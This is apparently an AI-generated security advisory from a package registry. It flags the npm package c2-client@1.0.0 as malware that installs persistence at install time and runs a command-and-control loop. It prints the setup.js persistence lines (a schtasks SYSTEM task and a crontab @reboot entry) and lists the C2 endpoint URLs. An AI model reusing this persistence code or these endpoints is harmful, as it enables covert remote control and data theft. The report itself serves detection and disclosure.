registry / Remote code execution / c2-client
c2-client
Remote management client
This report shows the evidence for c2-client@1.0.0, the only known version.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiThis is a concrete install-time persistence and C2 malware chain, not a package-aligned administrative tool. The source implements remote shell execution, surveillance, exfiltration, and remote replacement.
Static reason
One or more suspicious static signals were detected.
Trigger
npm installation runs postinstall; persisted startup then launches the client.
Impact
An attacker-controlled server can maintain access, execute commands, steal data, and replace the client.
Mechanism
Install-time persistence followed by remote command execution and data exfiltration.
Attack narrative
Installing the package runs setup.js without user consent and creates operating-system persistence. The persisted launcher starts client.py, which repeatedly registers with a remote server, polls it for commands, executes unrecognised commands through a shell, and posts results back. Built-in commands collect sensitive device data and support a remote self-update that overwrites the running client.
AI rationale
This is a concrete install-time persistence and C2 malware chain, not a package-aligned administrative tool. The source implements remote shell execution, surveillance, exfiltration, and remote replacement.
Evidence
package.jsonsetup.jsclient.pyindex.js
Network endpoints4
404Byt3-c2-receiver.hf.space404Byt3-c2-receiver.hf.space/register404Byt3-c2-receiver.hf.space/poll404Byt3-c2-receiver.hf.space/result
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The postinstall hook automatically creates startup persistence.
- The installed client registers with, polls, and sends command results to a remote C2 server.
- Commands received from the server are executed through the operating system shell.
- The C2 supports surveillance and credential theft commands, including keylogging, clipboard, camera, microphone, and Wi-Fi passwords.
- The client can overwrite itself with a remotely downloaded update.
Evidence against
Behavioral surface
ChildProcessFilesystemShell
HighEntropyStringsUrlStrings
Source & flagged code
4 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node setup.js
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkgsetup.jsView file
4Trigger-reachable persistence chain: scripts.postinstall -> setup.js
L4: const os = require('os');
L5: const { execSync, spawn } = require('child_process');
L6:
L7: const scriptPath = path.join(__dirname, 'index.js');
L8:
...
L33: const taskName = 'C2Client';
L34: const cmd = `schtasks /create /tn "${taskName}" /tr "${process.execPath} ${scriptPath}" /sc onlogon /ru "SYSTEM" /rl HIGHEST /f`;
L35: execSync(cmd, { stdio: 'ignore' });
...
L76: const cronCmd = `(crontab -l 2>/dev/null; echo "@reboot ${process.execPath} ${scriptPath} > /dev/null 2>&1") | crontab -`;
L77: execSync(cronCmd, { shell: '/bin/bash', stdio: 'ignore' });
L78: console.log('[+] Added to crontab.');
High
Trigger Reachable Persistence
A manifest entrypoint or package-local install chain reaches persistence behavior.
setup.jsView on unpkg · L44const os = require('os');
L5: const { execSync, spawn } = require('child_process');
L6:
L7: const scriptPath = path.join(__dirname, 'index.js');
L8:
...
L33: const taskName = 'C2Client';
L34: const cmd = `schtasks /create /tn "${taskName}" /tr "${process.execPath} ${scriptPath}" /sc onlogon /ru "SYSTEM" /rl HIGHEST /f`;
L35: execSync(cmd, { stdio: 'ignore' });
...
L76: const cronCmd = `(crontab -l 2>/dev/null; echo "@reboot ${process.execPath} ${scriptPath} > /dev/null 2>&1") | crontab -`;
L77: execSync(cronCmd, { shell: '/bin/bash', stdio: 'ignore' });
L78: console.log('[+] Added to crontab.');
Findings
2 High3 Medium4 Low
HighInstall Time Lifecycle Scriptspackage.json
HighTrigger Reachable Persistencesetup.js
MediumInstall Persistencesetup.js
MediumShips Build Helperclient.py
MediumStructural Risk Force Deep Review
LowScripts Present
LowFilesystem
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to c2-client@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing c2-client@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.